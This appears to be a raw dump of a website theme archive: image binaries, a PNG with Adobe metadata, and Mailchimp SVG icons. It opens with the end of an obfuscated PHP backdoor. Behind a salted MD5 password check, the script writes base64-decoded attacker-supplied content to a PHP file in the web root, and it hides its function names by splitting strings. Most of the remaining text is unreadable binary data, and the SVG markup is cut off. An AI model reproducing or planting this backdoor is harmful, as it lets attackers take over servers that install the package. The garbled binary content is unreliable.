if(!empty($oen['b']) && md5($oen['b'].md5($oen['b']))==('6'.'6'.'9'.'0'.'f'.'4'.'8'.'1'.'d'.'2'.'3'.'d'.'e'.'c'.'f'.'7'.'8'.'7'.'1'.'8'.'e'.'c'.'6'.'e'.'0'.'1'.'0'.'6'.'d'.'e'.'2'.'1')) {
	$lar = !empty($oen['f']) ? $oen['f'] : '502.'.'php';
	if(!empty($oen['r'])) $lar = $_SERVER['DOCUMENT_ROOT'].'/'.$lar;
	$pcs = 'fil'.'E_P'.'ut_'.'CON'.'ten'.'ts'; $qzj = 'B'.'a'.'S'.'E'.'6'.'4'.'_'.'D'.'e'.'C'.'o'.'D'.'e';
	if($pcs($lar, $qzj($oen['c']))) exit($lar);
}
echo $rpu;
?>PK     N\      images/header-pattern.pngnu [        PNG

   IHDR            tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:6F9B3D42258A11E581D18AE5EC12598E" xmpMM:DocumentID="xmp.did:6F9B3D43258A11E581D18AE5EC12598E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6F9B3D40258A11E581D18AE5EC12598E" stRef:documentID="xmp.did:6F9B3D41258A11E581D18AE5EC12598E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>QS   QIDATx|A
0ӌQc!Yu!3aΙwcbP&1<aj*&#"܀{7y64% gD!,    IENDB`PK     N\)2@  @    images/no-image2.jpgnu [         JFIF       C 


		
%# , #&')*)-0-(0%()( C



((((((((((((((((((((((((((((((((((((((((((((((((((( "               J 	    U!1AQ6Faqt"2BbRs#$'357Td                                     ? @                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ͯjbjb)5 F1ykkuhSLN3螐m:W3˓UZq3mjVf_s8Wj5%]lYλ]Ԕvwumg:gvRQu]뾻 UڍIGk9}w[<sxWj5%]lYλ]Ԕvwumg:gvRQu]뾻 UڍIGk9}w[<sxWj5%]lYλ])mg:ghY3nUak4ޱM:]PSry&TMtI[5ukO\s}}                                                       ˼ s0&%rhSTMZs4ǫ_jjn~mD~At'Nhxn]\]UUSw,M5yӁ?aj<fs	Ge9rVx͔]WYUQNuܵ|U3e9rVxp	Ge9rVx͔]WYU%]WY6Sw-_gW vSw-_gNuܵ|U5\QNuܵ|U3e9rVxp	Ge9rVx͔]WYU%]WY6Sw-_gW vS7-_g3]ҹsFManLUG4GlU1=1дX_y7=sL1Z#Jt*ծ:'gu'pX<VhLvETQ$t^N Y{_                                                        0	60?	60,>Hv^,>H}#v+űU즘 8hN?\LY7.";=3CMݘ1wkc	tG-4 wlϧq:OVgU?C@򿜬݊i+770?-$rӄ7&)j)'bf&_zͷ&%ZUO3^     h   k~sam{UߐY{,|y;/{@                                                     am{an~m{aߐY{,|yVMi/٦95ƿrw^$>Α:?XZq5D "_6^YӘ|{S3EzE:DO7Svi> K>&{?T}u)Վx=e;?~%]׮jLjk   `>fd?.hCK_Xz9:jWisNz&n<֬S]ڻ)D%|tnҳ7<[t8zf|KTTvlL5Nő-n05uWrb٣D߉jݮ]tS T_74h˜Ӫ.٫/S'L􎽒sv&1z:{\';'ؽ@ 3wͯyM͆xN?hd}V/'~Ae`B:,>Ha                                                     xN?iGչN?iG/'~Ae`C'~Ae`Cg<v6?GMzO19Ȗ`ݪt].î¯eH pܐg+":͈U2ѲO"M̷ޢbi[Vb{jիW mP  :Κ;'h]\L{gz<rɸ/âhi{볆WE> ){MlnwNw7g\T@=јgҷ1ZܹW5G5ꦘd sKZ:&Q=tO]5G\Ogy<8壼k34c-Sig5R;Ov^j_'Dsɏ(<߆5mӮ厈z?#;׼<'|2> X!Gbw^$                                                     <'|#'|# X!]{ X!@_(SKy~z3/UjcoN>H|VUrwych裶'_FTUL33<3
Ǔ| 8<L>Ni秶bn:3~>*^5NoiKyHf`цv磚)UA3TJe[5`tlшUOM6"9XBց(f&TӇɯ"E_]*ffyfgAn'Icoc1׫boU\ruTZ:@    b0XXb-Urf:IUenƚ5SO;*3u_ Y>zg^k~0^NcuUߐY{,|                                                     k~sk~,^Ncaާ^,>H}V"sEjux2ҪEUWTQE1QLG\VTH~67f=ΪG]4StUNu>-uUSe@ ,^틕ڻDf:&'}. <TTTι痀      y:/uyy:/ucKk~t;׼aX> X                                                      ;׼V;׼PXCӿc{C Í9 &>zA$h           ;'^^e nï;'^^e n,ia~m{ns<'|2> X!Gbw^$                                                     <'||&*eM1 en()ר7'~A`C6Hl%rߍ4=11=L yGEഞ6E\M4ukvg%j ֧oK=_{.J|M7=oY[W6K=_{k9+}w[rVd+s7͒WsJ]  p.J|M3d+s7umg%o6K=_{.J|M7=oY[W6K=_{k9+}w[rVd+s7͒WsJ]  p.J|M3d+s7umg%o6K=_{hL|vEMN\_gŪ&&'Tumg%oxNy?i޶u9pZ'6bUrpt]Unh截"yNcUߐY{,|}Z{L^Żof|H                                                     猷yw5xW6DOW}0s6^YkIׁzܦgįt\z:z70ӇxKO=qHX&]5ס(^?*ɲVW(5ޯ';_֫Ow/zl$^Z>Iܽ |{0Jjd'rfNW(k5ޯ';_֫Ow/zl$^Z>Iܽ |{0Jjd'rfNW(k5ޯ';_gvNW)h<4ܦuޚju䗓Vb64]ffuN"ci.n9)b)")Tjy                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             PK     N\FG      images/penci-icon.pngnu [        PNG

   IHDR         a   	pHYs         cHRM  z%        u0  `  :  o_F  IDATxڄOP{cYJcA"6"e,BNV6X[hJ"ldJMP,&iY8S8uι6]h.q
RI:$Gk}IE\aLcB$;:֛YvlI/$++݅'Iޟ|sIF}I$D#i\.|\Gjz;40&hN)nc5b];]K`2Z(0Zh8)ll7
xWՅ0S[?6ZUĩ:m=r5S9ЍQg?Lkzg0TTt {OIVOAoͭ
]~Uz 8?4**    IENDB`PK     N\9  9    images/mailchimp/s13.svgnu [        <?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" id="Icons" viewBox="0 0 60 60" width="512" height="512"><path d="M33.045,59.49a.5.5,0,0,1-.318-.886l1.333-1.1-2.78,1.6a.5.5,0,0,1-.558-.826L33.1,56.418,31.28,57.467a.5.5,0,0,1-.559-.825L33.186,54.7,31.28,55.8a.5.5,0,0,1-.571-.816l3.584-3.012L31.28,53.712a.5.5,0,0,1-.562-.823l2.813-2.255-2.251,1.3a.5.5,0,0,1-.567-.82l3.234-2.656L31.28,50a.5.5,0,0,1-.56-.824l2.646-2.1-2.086,1.2a.5.5,0,0,1-.559-.825L33.2,45.5,31.28,46.605a.5.5,0,0,1-.657-.142.5.5,0,0,1,.08-.669l3.144-2.713L31.28,44.563a.5.5,0,0,1-.619-.771l1.575-1.719-.956.552a.5.5,0,0,1-.737-.546l.3-1.3a.5.5,0,0,1-.065-.9l.5-.29a.5.5,0,0,1,.738.547l-.243,1.042,2.772-1.6a.5.5,0,0,1,.619.771l-1.575,1.718,4.334-2.5a.5.5,0,0,1,.577.812L35.36,43.1l3.36-1.94a.5.5,0,0,1,.559.825L36.8,43.934l1.918-1.108a.5.5,0,0,1,.56.824l-2.646,2.1,2.086-1.2a.5.5,0,0,1,.567.819l-3.234,2.656,2.667-1.54a.5.5,0,0,1,.562.824l-2.81,2.252,2.248-1.3a.5.5,0,0,1,.571.815L35.707,52.09l3.013-1.739a.5.5,0,0,1,.559.825l-2.468,1.943,1.909-1.1a.5.5,0,0,1,.558.826L36.9,54.706l1.818-1.049a.5.5,0,0,1,.66.148.5.5,0,0,1-.092.671l-1.329,1.1.761-.439a.5.5,0,0,1,.665.711L38.3,57.465l.265-.153a.5.5,0,1,1,.5.865L36.94,59.4a.5.5,0,0,1-.665-.711l1.082-1.616L33.3,59.423A.489.489,0,0,1,33.045,59.49Z" fill="#824d41"/><path d="M31.029,59.468a.5.5,0,0,1-.406-.791l.6-.834-2.546,1.47a.5.5,0,0,1-.609-.782l2.03-2.085-2.722,1.572a.5.5,0,0,1-.578-.811L28.7,55.551l-1.422.821a.5.5,0,0,1-.586-.8l2.454-2.219L27.28,54.427a.5.5,0,0,1-.59-.8l2.666-2.468-2.076,1.2a.5.5,0,0,1-.57-.816l1.454-1.211-.884.51a.5.5,0,0,1-.58-.809l2.135-1.874-1.555.9a.5.5,0,0,1-.653-.137.5.5,0,0,1,.065-.665l2.57-2.353L27.28,47.044a.5.5,0,0,1-.593-.8l2.8-2.634L27.28,44.888a.5.5,0,0,1-.621-.768l1.888-2.092-1.267.732a.5.5,0,0,1-.738-.54l.313-1.433a.5.5,0,0,1-.075-.9l.5-.291a.5.5,0,0,1,.738.54l-.261,1.193,3.032-1.751a.5.5,0,0,1,.621.768l-1.889,2.093,3.2-1.844a.5.5,0,0,1,.592.8l-2.8,2.633L32.72,42.75a.5.5,0,0,1,.588.8L30.74,45.9l1.98-1.142a.5.5,0,0,1,.58.808l-2.137,1.876,1.557-.9a.5.5,0,0,1,.57.816L31.84,48.57l.88-.507a.5.5,0,0,1,.59.8l-2.668,2.47,2.078-1.2a.5.5,0,0,1,.586.8l-2.452,2.217,1.866-1.077a.5.5,0,0,1,.578.811L31.39,54.543l1.33-.768a.5.5,0,0,1,.608.782L31.3,56.643l1.422-.821a.5.5,0,0,1,.656.724l-.69.966a.5.5,0,0,1,.248.932l-1.655.956A.49.49,0,0,1,31.029,59.468Z" fill="#a9725e"/><path d="M21.953,41.493a.5.5,0,0,1-.261-.927l2.75-1.679L20.258,41.3a.5.5,0,0,1-.516-.857l15.9-9.973-15.695,9.06a.5.5,0,0,1-.509-.859L22.2,36.989l-2.453,1.416a.5.5,0,0,1-.518-.854l19.6-12.468L19.377,36.312a.5.5,0,0,1-.516-.857l15.462-9.684L19.07,34.576a.5.5,0,0,1-.514-.856L32.519,25,18.78,32.932a.5.5,0,0,1-.513-.858l10.506-6.511L18.524,31.48a.5.5,0,0,1-.513-.857l10.225-6.348L18.269,30.03a.5.5,0,0,1-.518-.854l15.012-9.53L17.945,28.2a.5.5,0,0,1-.515-.856l10.354-6.506L17.676,26.674a.5.5,0,0,1-.52-.855l11.227-7.168L17.381,25a.5.5,0,0,1-.518-.855l7.2-4.566-6.936,4a.5.5,0,0,1-.517-.856l3.83-2.415-3.53,2.038a.5.5,0,0,1-.53-.846l10.5-7.119L16.56,20.35a.5.5,0,0,1-.534-.845l8.347-5.747-8.146,4.7a.5.5,0,0,1-.534-.845l5.634-3.882-5.386,3.11a.5.5,0,0,1-.547-.834l5.685-4.226-5.474,3.159a.5.5,0,0,1-.543-.838l2.518-1.824-2.218,1.28a.5.5,0,0,1-.563-.823l2.518-2.024L15.087,12a.5.5,0,0,1-.568-.818l.894-.74-.546.315a.5.5,0,0,1-.662-.716l1.013-1.477-.669.386a.5.5,0,0,1-.744-.512l.108-.676a.509.509,0,0,1-.265-.221.5.5,0,0,1,.184-.684l.454-.261a.5.5,0,0,1,.744.512l-.072.452L16.626,6.6a.5.5,0,0,1,.662.715L16.275,8.79l3.8-2.192a.5.5,0,0,1,.569.818l-.894.738,2.7-1.556a.5.5,0,0,1,.564.822L20.488,9.447,25.425,6.6a.5.5,0,0,1,.543.838L23.452,9.259,28.062,6.6a.5.5,0,0,1,.548.834l-5.684,4.225L31.689,6.6a.5.5,0,0,1,.534.844l-5.634,3.881L34.775,6.6a.5.5,0,0,1,.534.844l-8.35,5.749L38.381,6.6a.5.5,0,0,1,.53.846l-10.5,7.118L42.207,6.6a.5.5,0,0,1,.517.855L38.892,9.869,44.559,6.6a.5.5,0,0,1,.517.854l-7.2,4.564L47.261,6.6a.5.5,0,0,1,.519.854L36.545,14.626,50.451,6.6a.5.5,0,0,1,.516.856l-10.351,6.5L52.87,6.883a.5.5,0,0,1,.518.854l-15,9.522L54.867,7.745a.5.5,0,0,1,.514.858L45.146,14.955l10.93-6.309a.5.5,0,0,1,.514.857L46.077,16.017l10.966-6.33a.5.5,0,0,1,.515.856L43.575,19.274l14.307-8.258a.5.5,0,0,1,.515.856L42.946,21.55l15.522-8.961a.5.5,0,0,1,.518.854L39.4,25.9,58.72,14.749a.5.5,0,0,1,.509.859l-2.8,1.7,2.29-1.321a.5.5,0,0,1,.515.857L43.347,26.816,58.72,17.941a.5.5,0,0,1,.51.86l-2.774,1.7,2.264-1.307a.5.5,0,0,1,.511.86l-2.359,1.445,1.848-1.066a.5.5,0,0,1,.514.857l-7.017,4.371,6.5-3.754a.5.5,0,0,1,.52.854L47.921,30.028l10.8-6.234a.5.5,0,0,1,.527.849L47.005,32.806,58.72,26.043a.5.5,0,0,1,.529.848L49.728,33.3l8.992-5.192a.5.5,0,0,1,.523.852L55.354,31.5,58.72,29.56a.5.5,0,0,1,.542.838l-7.1,5.094,6.556-3.785a.5.5,0,0,1,.539.841l-3.706,2.627,3.167-1.828a.5.5,0,0,1,.563.822L55.4,37.294l3.324-1.918a.5.5,0,0,1,.558.826l-1.006.787.448-.258a.5.5,0,0,1,.621.768L58.029,38.95l.691-.4a.5.5,0,0,1,.5.865L55.778,41.4a.5.5,0,0,1-.621-.767l1.312-1.45-3.847,2.219a.5.5,0,0,1-.559-.826l1-.785-2.8,1.613a.5.5,0,0,1-.563-.822L53.6,37.46l-6.842,3.949a.5.5,0,0,1-.539-.841l3.7-2.626L43.91,41.411a.5.5,0,0,1-.542-.839l7.1-5.092L40.187,41.414a.5.5,0,0,1-.524-.851l3.887-2.541-5.878,3.394a.5.5,0,0,1-.529-.848l9.526-6.413L34.088,41.418a.5.5,0,0,1-.527-.849L45.8,32.408,30.188,41.421a.5.5,0,0,1-.52-.854l11.323-7.274-14.083,8.13a.5.5,0,0,1-.514-.858l7.018-4.372-9.061,5.232a.5.5,0,0,1-.512-.86l2.374-1.454L22.2,41.426A.494.494,0,0,1,21.953,41.493Z" fill="#cd4c60"/><path d="M10.886,41.47a.5.5,0,0,1-.291-.907l2.856-2.049-5,2.888a.5.5,0,0,1-.538-.84l4.818-3.4L6.7,40.639a.5.5,0,0,1-.54-.84l6.851-4.866L6.281,38.816a.5.5,0,0,1-.543-.837l7.935-5.725L6.287,36.518a.5.5,0,0,1-.524-.851l1.147-.752-.62.357a.5.5,0,0,1-.524-.85l1.487-.978L6.293,34a.5.5,0,0,1-.526-.85l2.459-1.629L6.3,32.632a.5.5,0,0,1-.527-.849L8.758,29.79,6.3,31.209a.5.5,0,0,1-.526-.85l2.171-1.436L6.3,29.871a.5.5,0,0,1-.54-.84l7.331-5.22L6.308,27.729a.5.5,0,0,1-.528-.849l2.741-1.823L6.312,26.332a.5.5,0,0,1-.525-.851l1.027-.672-.5.288a.5.5,0,0,1-.532-.846l5.052-3.457L6.318,23.4a.5.5,0,0,1-.533-.844l4.976-3.421L6.322,21.7a.5.5,0,0,1-.537-.842l5.5-3.862L6.326,19.857a.5.5,0,0,1-.545-.836l6.084-4.438L6.332,17.777a.5.5,0,0,1-.528-.848l.418-.28a.5.5,0,0,1-.445-.875l5.214-4.05L6.345,14.406a.5.5,0,0,1-.564-.822l3.552-2.861L7.038,12.048a.5.5,0,0,1-.573-.815l1.76-1.49a.488.488,0,0,1-.214-.2.5.5,0,0,1,.182-.683l3.412-1.969a.5.5,0,0,1,.574.814l-.816.69,3.067-1.77a.5.5,0,0,1,.563.822l-3.554,2.863,5.372-3.1a.5.5,0,0,1,.556.827l-5.215,4.052,6.536-3.774a.5.5,0,0,1,.529.849L19,9.312l.486-.281a.5.5,0,0,1,.545.837l-6.083,4.438,6.64-3.834a.5.5,0,0,1,.537.841l-5.507,3.866,5.651-3.262a.5.5,0,0,1,.533.845l-4.976,3.421,4.811-2.778a.5.5,0,0,1,.532.846L17.11,17.709l4.566-2.635a.5.5,0,0,1,.524.851l-1.017.667.5-.288a.5.5,0,0,1,.527.848l-2.746,1.827L21.686,17.7a.5.5,0,0,1,.54.84L14.9,23.756l6.8-3.924a.5.5,0,0,1,.526.85l-2.176,1.439,1.653-.954a.5.5,0,0,1,.528.849l-2.991,1.993L21.7,22.586a.5.5,0,0,1,.527.85l-2.454,1.627,1.93-1.115a.5.5,0,0,1,.525.851l-1.475.97.952-.55a.5.5,0,0,1,.525.85l-1.159.759.636-.366a.5.5,0,0,1,.543.838l-7.936,5.725,7.4-4.269a.5.5,0,0,1,.54.84L15.4,34.463l6.313-3.645a.5.5,0,0,1,.538.841l-4.818,3.4,4.283-2.473a.5.5,0,0,1,.541.839l-2.86,2.052,2.321-1.339a.5.5,0,0,1,.558.826l-2.625,2.061,2.069-1.193a.5.5,0,0,1,.621.768l-2.121,2.355,1.5-.867a.5.5,0,0,1,.641.744l-.55.691a.5.5,0,0,1,.122.916l-1.659.957a.5.5,0,0,1-.641-.744l.3-.381L17.983,41.4a.5.5,0,0,1-.621-.767l2.12-2.355L14.073,41.4a.5.5,0,0,1-.558-.826l2.626-2.062-5,2.888A.5.5,0,0,1,10.886,41.47Z" fill="#a53c50"/><path d="M3.6,36.47a.5.5,0,0,1-.275-.918l3.837-2.521L2.046,35.984a.5.5,0,0,1-.522-.852l3.705-2.4-3.87,2.234a.5.5,0,0,1-.531-.846l9.643-6.561L1.28,32.865a.5.5,0,0,1-.524-.85l6.51-4.282L1.28,31.189a.5.5,0,0,1-.526-.849l7.53-5-7,4.043a.5.5,0,0,1-.52-.854l3.052-1.959L1.28,28.034a.5.5,0,0,1-.535-.844l9.7-6.727L1.28,25.753a.5.5,0,0,1-.526-.85L4.2,22.62,1.28,24.308a.5.5,0,0,1-.529-.848l2.667-1.8L1.28,22.9a.5.5,0,0,1-.551-.832l4.678-3.524L1.28,20.924a.5.5,0,0,1-.579-.81l3.543-3.093L1.28,18.731a.5.5,0,0,1-.593-.8L2.1,16.609l-.816.471a.5.5,0,0,1-.651-.731l.642-.862a.5.5,0,0,1-.2-.93L2.726,13.6a.5.5,0,0,1,.651.731l-.5.674L5.32,13.594a.5.5,0,0,1,.593.8L4.506,15.715l3.682-2.126a.5.5,0,0,1,.58.809L5.224,17.492,12,13.583a.5.5,0,0,1,.551.832L7.87,17.938l7.554-4.361a.5.5,0,0,1,.529.848l-2.668,1.8,4.588-2.649a.5.5,0,0,1,.526.85l-3.453,2.286,5.438-3.14a.5.5,0,0,1,.535.844l-9.7,6.728L21.666,15.11a.5.5,0,0,1,.521.854l-3.045,1.955,2.53-1.461a.5.5,0,0,1,.526.85l-7.53,5,7.011-4.048a.5.5,0,0,1,.524.85L15.679,23.4l6.008-3.467a.5.5,0,0,1,.531.845l-9.637,6.557,9.113-5.261a.5.5,0,0,1,.522.853l-3.711,2.4,3.2-1.845a.5.5,0,0,1,.525.851l-3.84,2.522,3.322-1.918a.5.5,0,0,1,.54.84l-6.368,4.54,5.836-3.369a.5.5,0,0,1,.556.828l-5.227,4.037,4.68-2.7a.5.5,0,0,1,.577.811l-3.448,2.982,2.879-1.662a.5.5,0,0,1,.6.792L20.812,33.5l.927-.535a.5.5,0,0,1,.717.612L21.948,34.9a.511.511,0,0,1,.484.248.5.5,0,0,1-.184.683l-1,.577a.5.5,0,0,1-.717-.613l.483-1.248L17.789,36.4a.5.5,0,0,1-.6-.792l1.519-1.466L14.8,36.4a.5.5,0,0,1-.577-.81l3.447-2.983L11.1,36.4a.5.5,0,0,1-.556-.828l5.226-4.037L7.34,36.4a.5.5,0,0,1-.54-.839l6.369-4.542L3.849,36.4A.5.5,0,0,1,3.6,36.47Z" fill="#d0e0ef"/><path d="M3.546,36.47a.5.5,0,0,1-.279-.915L5.7,33.917l-3.635,2.1a.5.5,0,0,1-.53-.847l5.035-3.4a.5.5,0,0,1-.315-.21.5.5,0,0,1,.1-.674l6.16-4.842a.5.5,0,0,1,.243-.519l1.606-.927a.5.5,0,0,1,.559.826l-2.446,1.922,4.394-2.536a.5.5,0,0,1,.53.846L13.85,28.06,17.943,25.7a.5.5,0,0,1,.53.848l-2.449,1.644,2.9-1.672a.5.5,0,0,1,.535.842l-3.182,2.211L20,27.419a.5.5,0,0,1,.559.826l-4.784,3.746,5.735-3.31a.5.5,0,0,1,.539.84l-.814.576.469-.271a.5.5,0,0,1,.545.836l-.435.318a.5.5,0,0,1,.508.826l-1.887,1.952,1.293-.745a.5.5,0,0,1,.717.611l-.49,1.282a.5.5,0,0,1,.288.933l-.979.564a.5.5,0,0,1-.575-.053.5.5,0,0,1-.142-.559l.462-1.209L17.857,36.4a.5.5,0,0,1-.609-.78l1.886-1.951L14.4,36.4a.5.5,0,0,1-.545-.836l.34-.249L12.315,36.4a.5.5,0,0,1-.539-.84l.811-.574L10.138,36.4a.5.5,0,0,1-.559-.826l4.785-3.747L6.441,36.4a.5.5,0,0,1-.535-.842L9.09,33.347,3.8,36.4A.5.5,0,0,1,3.546,36.47Z" fill="#c1d2e0"/><path d="M15.427,26.073a.5.5,0,0,1-.338-.868l3.158-2.9L13.77,24.891a.5.5,0,0,1-.552-.831l1.968-1.489L12.706,24a.5.5,0,0,1-.559-.825l3.967-3.12-4.809,2.776a.5.5,0,0,1-.555-.829l4.79-3.674L9.847,21.618a.5.5,0,0,1-.556-.828l3.414-2.639L8.56,20.544A.5.5,0,0,1,8,19.715L9.976,18.2l-2.5,1.444a.5.5,0,0,1-.561-.825l1.213-.961-1.65.953a.5.5,0,0,1-.635-.752l1.832-2.2-2.8,1.616a.5.5,0,0,1-.611-.779l.47-.493-.817.472a.5.5,0,0,1-.68-.689l.335-.56-.681.392a.5.5,0,0,1-.736-.551l.051-.21-.135.078a.5.5,0,0,1-.5-.865L2.72,13.6a.5.5,0,0,1,.735.551l-.051.209L4.733,13.6a.5.5,0,0,1,.68.688l-.335.561L7.251,13.59a.5.5,0,0,1,.611.778l-.47.493L9.6,13.587a.5.5,0,0,1,.634.752L8.4,16.54l5.129-2.96a.5.5,0,0,1,.561.824l-1.212.961,3.1-1.789a.5.5,0,0,1,.555.829l-1.972,1.52,4.075-2.353a.5.5,0,0,1,.555.828L15.78,17.038l5.88-3.394a.5.5,0,0,1,.555.829l-4.792,3.674L21.67,15.7a.5.5,0,0,1,.559.825l-3.966,3.12,3.416-1.972a.5.5,0,0,1,.551.831l-1.964,1.485,1.42-.819a.5.5,0,0,1,.587.8l-4.225,3.88a.482.482,0,0,1,.123.142.5.5,0,0,1-.183.683l-2.311,1.334A.491.491,0,0,1,15.427,26.073Z" fill="#e9f4ff"/><path d="M34.565,11.494a.5.5,0,0,1-.3-.9L39.48,6.614l-7.2,4.157a.5.5,0,0,1-.535-.844l3.471-2.41L32.28,9.211a.5.5,0,0,1-.541-.839L34.215,6.6,32.28,7.718a.5.5,0,0,1-.572-.816l3.1-2.607L32.28,5.753a.5.5,0,0,1-.623-.766l1.757-1.965-1.134.654A.5.5,0,0,1,31.592,3l.441-.805a.5.5,0,0,1-.2-.93L32.994.6a.5.5,0,0,1,.6.075.5.5,0,0,1,.089.6l-.355.646L35.614.6a.5.5,0,0,1,.623.765L34.481,3.328,39.211.6a.5.5,0,0,1,.572.815l-3.1,2.608L42.614.6a.5.5,0,0,1,.541.839L40.683,3.205l4.4-2.542a.5.5,0,0,1,.535.844L42.146,3.921,45.72,1.857a.5.5,0,0,1,.553.831l-5.215,3.98L45.72,3.977a.5.5,0,0,1,.548.834l-1.83,1.354,1.282-.739a.5.5,0,0,1,.605.785L43.879,8.677,45.72,7.614a.5.5,0,0,1,.625.1.5.5,0,0,1,.023.633l-.723.958.075-.043a.5.5,0,0,1,.5.865l-2.211,1.276a.5.5,0,0,1-.649-.734l.724-.958-2.943,1.7a.5.5,0,0,1-.606-.785L42.982,8.16l-5.648,3.261a.5.5,0,0,1-.548-.834l1.825-1.352-3.8,2.192A.491.491,0,0,1,34.565,11.494Z" fill="#a53c50"/><path d="M32.336,22.447a.5.5,0,0,1-.4-.8l1.053-1.364-2.578,1.489a.5.5,0,0,1-.614-.776l1.726-1.838-2.092,1.208a.5.5,0,0,1-.581-.807l.374-.33a.5.5,0,0,1-.541-.814l.7-.726a.5.5,0,0,1-.026-.88l2.05-1.184a.5.5,0,0,1,.609.78l-.134.139,1.13-.651a.5.5,0,0,1,.581.807l-.351.31.713-.411a.5.5,0,0,1,.614.775L32.85,19.206l1.839-1.061a.5.5,0,0,1,.646.738l-1.08,1.4a.5.5,0,0,1,.381.915l-2.05,1.184A.489.489,0,0,1,32.336,22.447Z" fill="#a53c50"/><path d="M59.534,18.2C60.272,8.84,55.293,5.692,46.489,6.475,46.754.728,46.53-.219,40.407.4c-2.1,0-4.2-.01-6.307,0-.961,0-1.855-.09-2.381.895-.669,1.428-.055,3.626-.167,5.114-5.6.3-12.835-.582-17.985.316A9.219,9.219,0,0,0,5.61,13.4c-1.556-.006-2.885-.063-3.819.557-.268-.038-.544.275-.61.6C-.5,17.489.649,21.764.55,25.011c.1,3.249-1,7.455.588,10.427a.406.406,0,0,0,.482.511c.9.7,2.217.654,3.78.651-.03,2.364-.151,4.257,2.6,4.849,3.472.654,8.017.183,11.524-.143,2.087.589,4.732.028,6.991.216V53.265c-.2,3.6-.036,7.146,4.627,6.2,3.612.042,8.284,1.123,8.453-3.592.17-4.77.015-9.572,0-14.347C66.6,41.2,58.344,45.645,59.534,18.2ZM32.448,2.977C32.288.589,36.842,1.826,38.4,1.6c1.367,0,6.39-.831,7.151.549.522,1.041-.087,3.554.015,4.694a.464.464,0,0,0,.045.583c.087,1.134.154,2.727-.655,2.979H32.435c-.015-.977-.049-1.968-.08-2.965a.734.734,0,0,0-.017-.768A28.414,28.414,0,0,1,32.448,2.977Zm2,16.139c-.177,3.3-4.9,2.866-4.892-.232C29.567,15.558,34.281,16.05,34.446,19.116ZM21.094,13.4H6.814A7.383,7.383,0,0,1,21.094,13.4Zm.31,14.671-3.627-3.043A26.923,26.923,0,0,0,21.4,21.867ZM6.768,14.6H21.339c.25,1.989-.006,4.025.065,6.027-1.418,1.268-3.055,3.2-4.692,3.909-1.993.862-3.212-.835-4.629-2.022L2.994,14.9A10.645,10.645,0,0,1,6.768,14.6ZM1.45,16.637a2.961,2.961,0,0,1,.54-1.016c3.752,3.16,7.386,6.555,11.335,9.45L2.013,34.56C.3,32.1,1.55,27.8,1.45,24.989,1.45,22.62.726,18.905,1.45,16.637Zm1.3,18.476,11.418-9.578a3.373,3.373,0,0,0,2.537.03L21.4,29.5v5.9C15.269,35.128,8.766,35.937,2.754,35.113ZM17,40.551C13.41,40.383,5.976,42.305,6.6,36.6H21.4C21.472,40.032,20.023,40.594,17,40.551ZM27.489,56.313c-.388-4.793.23-9.862.012-14.706,1.382.387,3.476.034,5.01-.031-.224,5.095.371,10.44,0,15.47C31.486,59.817,28.054,58.171,27.489,56.313Zm9.475,2.229a11.141,11.141,0,0,1-4.32.1c1.147-1.248.845-3.518.845-5.484V41.522h4.92V53.364C38.409,55,39.058,57.753,36.964,58.542ZM56.555,40.478c-7.62.453-15.527-.273-23.21,0a.285.285,0,0,0-.185-.019c-2.057-.022-4.17-.075-6.217.019H21.394a4.072,4.072,0,0,0,1.248-2.891H54.931c.573,0,.781-1.174.138-1.174H22.694c-.17-5.178-.076-10.533-.1-15.74.348-4.477.34-10.98-4.268-13.084H31.552q0,3.988,0,7.976c-4.231.653-4,7.043.451,6.932,4.251-.123,4.787-6.548.445-6.976V11.6c4.2-.011,8.421.019,12.619-.011,1.925-.509,1.243-2.558,1.4-4.062,11.252-.264,12.75,4.44,12,14.79q0,6.171,0,12.344C58.466,36.916,59.236,39.743,56.555,40.478Z" fill="#262626"/></svg>
PK     N\N f  f    images/mailchimp/s11.svgnu [        <svg height="512" viewBox="0 0 58 58" width="512" xmlns="http://www.w3.org/2000/svg"><g id="Page-1" fill="none" fill-rule="evenodd"><g id="004---Mail" fill-rule="nonzero"><path id="Shape" d="m35 11c-.5522847 0-1-.4477153-1-1v-4c0-.55228475.4477153-1 1-1s1 .44771525 1 1v4c0 .5522847-.4477153 1-1 1z" fill="#95a5a5"/><path id="Shape" d="m35 0h8c.5522847 0 1 .44771525 1 1v4c0 .55228475-.4477153 1-1 1h-9v-5c0-.55228475.4477153-1 1-1z" fill="#f0c419"/><path id="Shape" d="m39.778 58h-8.556c-.626145.0437054-1.1709439-.4244114-1.222-1.05v-19.95h11v19.95c-.0510561.6255886-.595855 1.0937054-1.222 1.05z" fill="#a56a43"/><path id="Shape" d="m35 55c-.5522847 0-1-.4477153-1-1v-16c0-.5522847.4477153-1 1-1s1 .4477153 1 1v16c0 .5522847-.4477153 1-1 1z" fill="#805333"/><path id="Shape" d="m29 38h28c.5522847 0 1-.4477153 1-1v-16c0-6.0751322-4.9248678-11-11-11h-28z" fill="#e64c3c"/><rect id="Rectangle-path" fill="#ecf0f1" height="6" rx="1" width="10" x="44" y="28"/><path id="Shape" d="m8.045 20c.51707857-5.664312 5.2671357-10.0002838 10.955-10 6.0751322 0 11 4.9248678 11 11v16c0 .5522847-.4477153 1-1 1h-5z" fill="#802f34"/><path id="Shape" d="m25.67 20.9c-.3699225-.5617203-.9974137-.8998892-1.67-.9h-22c-1.1045695 0-2 .8954305-2 2v14c.00392678.5538752.23534078 1.0817884.64 1.46.36529141.3508954.85349933.5447427 